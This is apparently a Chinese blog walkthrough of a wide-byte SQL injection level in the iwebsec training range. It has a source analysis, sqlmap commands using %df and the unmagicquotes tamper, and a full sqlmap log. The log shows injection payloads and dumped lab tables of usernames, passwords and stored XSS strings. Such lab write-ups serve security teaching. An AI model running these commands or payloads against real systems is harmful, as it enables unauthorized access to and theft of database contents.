• iwebsec靶场 SQL注入漏洞通关笔记6- 宽字节注入

     系列文章目录

    iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入（宽字节注入）_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记3- bool注入（布尔型盲注）_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入（时间型盲注）_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记5- updatexml注入（报错型盲注）_mooyuan的博客-CSDN博客

    目录

    系列文章目录

    前言

    一、源码分析

    二、sqlmap注入

    1.注入命令

     2.完整交互过程

    总结

    前言

     打开靶场的SQL注入关卡的第06关，宽字节注入iwebsec靶场 SQL注入漏洞通关笔记5- updatexml注入（报错型盲注）_mooyuan的博客-CSDN博客如下所示

    ​

    一、源码分析

    如下所示，SQL语句与1-5关的大多数关卡一样，调用的语句为$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";很明显这是一个普通的数字型注入，并且没有对参数id做任何过滤。

    ​

    不过在输出内容中可以得知仅sql查询成功时输出正确的id，用户名和密码。在错误的时候却执行语句print_r(mysql_error());这个报错语句的使用意味着我们可以利用报错型函数如updatexml，extractvalue等函数进行SQL注入，换言之渗透方法可以参考第05关报错型注入。不过呢，本关卡的源码中如下语句说明其为宽字节型

    mysql_query("SET NAMES gbk");

     也就是说本关卡的注入可以使用报错型的宽字节注入

    二、sqlmap注入

    1.注入命令

    方法1：参数id后加上%df

    sqlmap -u http://192.168.71.151/sqli/05.php?id=1%df  --current-db --dump --batch

     如下所示，渗透成功

    ​

    方法2：sqlmap的注入命令语句使用--tamper unmagicquotes

    sqlmap -u http://192.168.71.151/sqli/05.php?id=1  --current-db --dump --batch  --tamper unmagicquotes

     2.完整交互过程

    完整的注入交互如下所示

    1. kali@kali:~$ sqlmap -u http://192.168.71.151/sqli/05.php?id=1%df  --current-db --dump --batch
    2.         ___
    3.        __H__                                                                                                                                                                                                                               
    4.  ___ ___[.]_____ ___ ___  {1.5.11#stable}                                                                                                                                                                                                  
    5. |_ -| . ["]     | .'| . |                                                                                                                                                                                                                  
    6. |___|_  [)]_|_|_|__,|  _|                                                                                                                                                                                                                  
    7.       |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               
    9. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    11. [*] starting @ 23:36:21 /2022-11-24/
    12.  
    13. [23:36:21] [INFO] resuming back-end DBMS 'mysql' 
    14. [23:36:21] [INFO] testing connection to the target URL
    15. sqlmap resumed the following injection point(s) from stored session:
    16. ---
    17. Parameter: id (GET)
    18.     Type: boolean-based blind
    19.     Title: Boolean-based blind - Parameter replace (original value)
    20.     Payload: id=(SELECT (CASE WHEN (8465=8465) THEN 1 ELSE (SELECT 7769 UNION SELECT 3720) END))
    21.  
    22.     Type: error-based
    23.     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    24.     Payload: id=1 AND (SELECT 1776 FROM(SELECT COUNT(*),CONCAT(0x7171717871,(SELECT (ELT(1776=1776,1))),0x7170707171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
    25.  
    26.     Type: time-based blind
    27.     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    28.     Payload: id=1 AND (SELECT 2424 FROM (SELECT(SLEEP(5)))vTBV)
    29.  
    30.     Type: UNION query
    31.     Title: Generic UNION query (NULL) - 3 columns
    32.     Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7171717871,0x7a756e6165784e50754f725a797052684779706b716f4d504b4e7354596277657354776f4f724468,0x7170707171)-- -
    33. ---
    34. [23:36:22] [INFO] the back-end DBMS is MySQL
    35. web server operating system: Linux CentOS 6
    36. web application technology: Apache 2.2.15, PHP 5.2.17
    37. back-end DBMS: MySQL >= 5.0
    38. [23:36:22] [INFO] fetching current database
    39. current database: 'iwebsec'
    40. [23:36:22] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
    41. [23:36:22] [INFO] fetching current database
    42. [23:36:22] [INFO] fetching tables for database: 'iwebsec'
    43. [23:36:22] [INFO] fetching columns for table 'user' in database 'iwebsec'
    44. [23:36:22] [INFO] fetching entries for table 'user' in database 'iwebsec'
    45. Database: iwebsec
    46. Table: user
    47. [3 entries]
    48. +----+----------+----------+
    49. | id | password | username |
    50. +----+----------+----------+
    51. | 1  | pass1    | user1    |
    52. | 2  | pass2    | user2    |
    53. | 3  | pass3    | user3    |
    54. +----+----------+----------+
    55.  
    56. [23:36:22] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
    57. [23:36:22] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
    58. [23:36:22] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
    59. Database: iwebsec
    60. Table: sqli
    61. [7 entries]
    62. +----+-----------------------+----------+------------------------------------------------------+
    63. | id | email                 | password | username                                             |
    64. +----+-----------------------+----------+------------------------------------------------------+
    65. | 1  | user1@iwebsec.com     | pass1    | user1                                                |
    66. | 2  | user2@iwebsec.com     | pass2    | user2                                                |
    67. | 3  | user3@iwebsec.com     | pass3    | user3                                                |
    68. | 4  | user4@iwebsec.com     | admin    | admin                                                |
    69. | 5  | 123@123.com           | 123      | 123                                                  |
    70. | 6  | 1234@123.com          | 123      | ctfs' or updatexml(1,concat(0x7e,(version())),0)#    |
    71. | 7  | iwebsec02@iwebsec.com | 123456   | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
    72. +----+-----------------------+----------+------------------------------------------------------+
    73.  
    74. [23:36:22] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
    75. [23:36:22] [INFO] fetching columns for table 'users' in database 'iwebsec'
    76. [23:36:22] [INFO] fetching entries for table 'users' in database 'iwebsec'
    77. Database: iwebsec
    78. Table: users
    79. [1 entry]
    80. +-------+-------------+----------+
    81. | role  | password    | username |
    82. +-------+-------------+----------+
    83. | admin | mall123mall | orange   |
    84. +-------+-------------+----------+
    85.  
    86. [23:36:22] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
    87. [23:36:22] [INFO] fetching columns for table 'xss' in database 'iwebsec'
    88. [23:36:22] [INFO] fetching entries for table 'xss' in database 'iwebsec'
    89. Database: iwebsec
    90. Table: xss
    91. [5 entries]
    92. +----+------------------------------------+
    93. | id | name                               |
    94. +----+------------------------------------+
    95. | 7  | 1 onerror=alert(/ctfs/)/> |
    96. | 6  | 1 onerror=alert(/ctfs/)/> |
    97. | 5  | 1 onerror=alert(/ctfs/)/> |
    98. | 1  | iwebsec                            |
    99. | 8  |                  |
    100. +----+------------------------------------+
    101.  
    102. [23:36:22] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
    103. [23:36:22] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
    104. [23:36:22] [WARNING] your sqlmap version is outdated
    105.  
    106. [*] ending @ 23:36:22 /2022-11-24/

    总结

    iwebsec靶场的宽字节注入由于使用了报错函数，加上类型为宽字节，而闭合的判断上只是与前几关一样为普通的数字型注入，故而搞清楚原理后，只需要配置正确参数使用sqlmap渗透十分方便高效。初学者还是应该以手动注入方法练习，真正了解原理后可以在使用sqlmap来提升速度。

  • 相关阅读:
    Leetcode 349 两个数组的交集 （*哈希数组，*HashSet，*HashMap）
    【数仓】数仓建模理论及步骤，ER建模，维度建模，星形模型，雪花模型，数据分层
    OpenCV3.4之VideoCapture分析
    实现Kickstart + NFS + DHCP + PXE的全自动远程无人职守安装
    分布式爬虫关闭（scrapy）
    Mybatis—mapper配置文件xml位置
    山东大学单片机原理与应用实验 4.5 8255并行I／O扩展及交通信号灯控制实验
    用 docker 创建 jmeter 容器，能做性能测试？
    工业智能网关BL110应用之二十七：如何设置COM 透传
    c# winform 实际操作XML代码，包括创建、保存、查询、删除窗体演示
  • 原文地址：https://blog.csdn.net/mooyuan/article/details/128035982